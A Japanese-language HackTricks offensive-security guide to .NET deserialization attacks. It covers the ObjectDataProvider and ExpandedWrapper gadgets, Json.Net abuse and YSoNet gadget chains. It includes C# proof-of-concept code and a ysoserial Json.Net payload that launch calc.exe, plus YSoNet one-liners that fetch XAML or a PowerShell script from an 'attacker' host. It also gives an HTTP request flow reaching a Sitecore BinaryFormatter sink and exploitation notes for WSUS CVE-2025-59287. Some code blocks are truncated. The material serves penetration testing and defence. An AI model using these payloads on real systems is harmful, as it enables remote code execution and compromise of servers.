基本的な .Net デシリアライズ (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
この投稿は、gadget ObjectDataProvider がどのように悪用されて RCE を取得するか、またその gadget と共に Serialization ライブラリ Json.Net と xmlSerializer がどのように悪用されうるかを理解することに捧げられています。
ObjectDataProvider Gadget
ドキュメントによれば: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
確かに説明は曖昧なので、このクラスの何が興味深いのか見てみましょう: このクラスは 任意のオブジェクトをラップ し、MethodParameters を使って 任意のパラメータを設定 し、さらに MethodName を使ってその任意オブジェクトの任意の関数を、設定したパラメータで呼び出す ことを可能にします。
したがって、任意の object はデシリアライズ中に パラメータ付きで関数を実行 します。
How is this possible
System.Windows.Data 名前空間は、C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF にある PresentationFramework.dll 内で定義・実装されており、ObjectDataProvider はそこにあります。
dnSpy を使うと、興味のあるクラスのコードを inspect することができます。下の画像では PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name のコードを見ています。
.png)
ご覧の通り、MethodName が設定されると base.Refresh() が呼ばれます。これが何をするのか見てみましょう:
.png)
続けて this.BeginQuery() が何をするか見てみます。BeginQuery は ObjectDataProvider によってオーバーライドされており、以下のようになっています:
.png)
コードの最後で this.QueryWorke(null) を呼んでいる点に注意してください。これが何を実行するか見てみます:
.png)
これは QueryWorker 関数の全コードではありませんが、興味深い部分を示しています: コードは this.InvokeMethodOnInstance(out ex); を呼んでいます。 ここが 設定されたメソッドが実行される 行です。
_**MethodName**_ を設定するだけで実行されることを確認したい場合、以下のコードを実行できます:
C# デモ: ObjectDataProvider が Process.Start をトリガー
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
前のエクスプロイトを使用すると、**オブジェクト** が _**ObjectDataProvider**_ インスタンスとして **逆シリアライズされる** 場合があります(例えば DotNetNuke vuln では XmlSerializer を使用し、オブジェクトは `GetType` を使って逆シリアライズされました)。その場合、_ObjectDataProvider_ インスタンスにラップされているオブジェクトの型(例: `Process`)について **何の知識も持たない** ことになります。DotNetNuke vuln に関する詳細は [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) を参照してください。
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
これは非常に有用で、前述のようなケースでは _ObjectDataProvider_ を **ExpandedWrapper** インスタンス内にラップでき、逆シリアライズ時にこのクラスが _**OjectDataProvider**_ オブジェクトを生成して _**MethodName**_ に示された関数を実行するようにできます。
<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer. したがって、deserialize the ObjectDataProvider gadget が可能であれば、単にオブジェクトをdeserializeするだけで RCE を引き起こすことができます。
Json.Net の例
まず、このライブラリを使用してオブジェクトをserialize/deserializeする方法の例を見てみましょう:
C# demo: Json.NET serialize/deserialize
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Json.Net の悪用
[ysoserial.net](https://github.com/pwntester/ysoserial.net) を使用して exploit を作成しました:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
このコードではexploitをテストできます。実行すると calc が起動するのが確認できます:
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## 高度な .NET ガジェットチェーン (YSoNet & ysoserial.net)
前述の ObjectDataProvider + ExpandedWrapper 技法は、アプリケーションが **安全でない .NET のデシリアライズ** を行う際に悪用されうる多数のガジェットチェーンのうちの一つに過ぎません。**[YSoNet](https://github.com/irsdl/ysonet)**(旧来の [ysoserial.net](https://github.com/pwntester/ysoserial.net))のようなモダンなレッドチーム向けツールは、数十種類のガジェットとシリアライゼーション形式に対して、すぐに使える悪意あるオブジェクトグラフを自動生成します。
以下は *YSoNet* に同梱されている最も有用なチェーンを要約したリファレンスで、動作原理の簡単な説明とペイロード生成のワンライナー例を示します。
| ガジェットチェーン | アイデア / プリミティブ | 一般的なシリアライザ | YSoNet ワンライナー |
|--------------------|-------------------------|-----------------------|--------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、インスタンス化時にデリゲートが攻撃者指定の任意のメソッド(例: `Process.Start`)を指すようにする | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して *.NET ≥4.8 の型フィルタリングを回避* し、指定クラスの **コンストラクタ** を直接呼び出すか C# ファイルをオンザフライで **コンパイル** する | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet` の **レガシー XML** 表現を利用して、`<ColumnMapping>` / `<DataType>` フィールドにより任意の型をインスタンス化する(必要に応じて `--spoofedAssembly` でアセンブリを偽装) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF 対応ランタイム(> .NET 5)でプロパティ getter を連鎖させて `System.CodeDom.Compiler.CompilerResults` に到達し、`-c` で指定した DLL を *コンパイル* または *ロード* する | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (復習) | WPF の `System.Windows.Data.ObjectDataProvider` を使って、制御可能な引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートホストするための便利な `--xamlurl` オプションを追加している | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `ScriptBlock` を `System.Management.Automation.PSObject` に埋め込み、PowerShell がオブジェクトをデシリアライズしたときに実行されるようにする | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> すべてのペイロードは **デフォルトで *stdout* に書き出される** ため、他のツール(例: ViewState generators、base64 encoders、HTTP clients)にパイプで渡すのが簡単です。
### Building / Installing YSoNet
もし *Actions ➜ Artifacts* / *Releases* に事前ビルド済みバイナリがなければ、次の **PowerShell** ワンライナーでビルド環境を構築し、リポジトリをクローンして *Release* モードで全てをコンパイルします:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe can then be found under ysonet/bin/Release/.
実際の sink: Sitecore convertToRuntimeHtml → BinaryFormatter
認証済み Sitecore XP Content Editor フローで到達可能な実用的な .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)はnew BinaryFormatter().Deserialize(...)をラップします。 - トリガー経路: pipeline
convertToRuntimeHtml→ConvertWebControlsは、id="{iframeId}_inner"の兄弟要素を検索し、base64‐encoded シリアライズ済みデータとして扱われるvalue属性を読み取ります。結果は string にキャストされ、HTML に挿入されます。
認証済み Sitecore sink トリガー HTTP フロー
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget: any `BinaryFormatter` chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## ケーススタディ: WSUS unsafe .NET deserialization (CVE-2025-59287)
- 製品/役割: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- 攻撃対象面: IIS ホストの WSUS エンドポイント(HTTP/HTTPS、TCP 8530/8531)。内部で公開されていることが多く、インターネット公開は高リスク。
- 根本原因: レガシーなフォーマッターを用いた、認証なしでの attacker-controlled data の deserialization:
- `GetCookie()` エンドポイントは `BinaryFormatter` で `AuthorizationCookie` を deserializes する。
- `ReportingWebService` は `SoapFormatter` を経由して unsafe deserialization を行う。
- 影響: 細工された serialized object が deserialization 中に gadget chain をトリガーし、WSUS サービス (`wsusservice.exe`) または IIS アプリプール `wsuspool` (`w3wp.exe`) のいずれかの下で `NT AUTHORITY\SYSTEM` として任意のコード実行を引き起こす。
Practical exploitation notes
- Discovery: TCP 8530/8531 上で WSUS をスキャンする。pre-auth の serialized blob が WSUS の web methods に到達する場合、`BinaryFormatter`/`SoapFormatter` のペイロード向けの潜在的な sink とみなす。
- Payloads: YSoNet/ysoserial.net を使って `BinaryFormatter` または `SoapFormatter` のチェーン(例: `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`)を生成する。
- Expected process lineage on success:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>
HackTricks

